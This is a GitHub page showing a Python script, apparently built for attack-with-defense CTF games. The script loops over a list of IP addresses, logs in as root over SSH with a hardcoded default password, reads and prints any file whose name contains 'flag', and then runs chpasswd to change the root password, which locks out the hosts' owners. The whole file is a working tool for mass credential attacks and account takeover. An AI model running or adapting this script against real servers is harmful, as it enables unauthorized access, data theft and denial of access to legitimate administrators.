forked from Tkitn/awd_ssh_passwd_modify
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathroot_ssh_passwd.py
45 lines (40 loc) · 1.58 KB
/
root_ssh_passwd.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/python
#-*-coding:utf-8-*-
import paramiko
import socket
def userssh_changepwd(ip,user,old_password,new_password):
# 建立一个sshclient对象
ssh = paramiko.SSHClient()
# 允许将信任的主机自动加入到host_allow 列表,此方法必须放在connect方法的前面
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(hostname=ip, port=22, username=user, password=old_password,timeout=5)
stdin, stdout, stderr = ssh.exec_command("ls ~")
s = str(stdout.read(), 'utf-8')
for i in s.split('\n'):
if ("flag" in i):
command1 = "cat ~/%s" % (i.strip())
stdin, stdout, stderr = ssh.exec_command(command1)
flag = str(stdout.read(), 'utf-8')
print("%s-%s" % (ip, flag.strip()))
command1 = "echo '%s:%s' | chpasswd"%(user,new_password)
ssh.exec_command(command1)
print(ip+"成功修改")
# 关闭连接
ssh.close()
except paramiko.ssh_exception.AuthenticationException as e:
print(ip + ' ' + '\033[31m账号密码错误!\033[0m')
with open('nossh.txt','a') as f:
f.write(ip + '\n')
except socket.timeout as e:
print(ip + ' ' + '\033[31m连接超时!\033[0m')
with open('timeoutssh','a') as f:
f.write(ip + '\n')
user="root"
old_passwd="toor5"
new_passwd="root"
with open('ip.txt','r') as f:
for i in f.readlines():
host=i.strip()
userssh_changepwd(host, user, old_passwd, new_passwd)
#修改ip.txt old_passwd new_passwd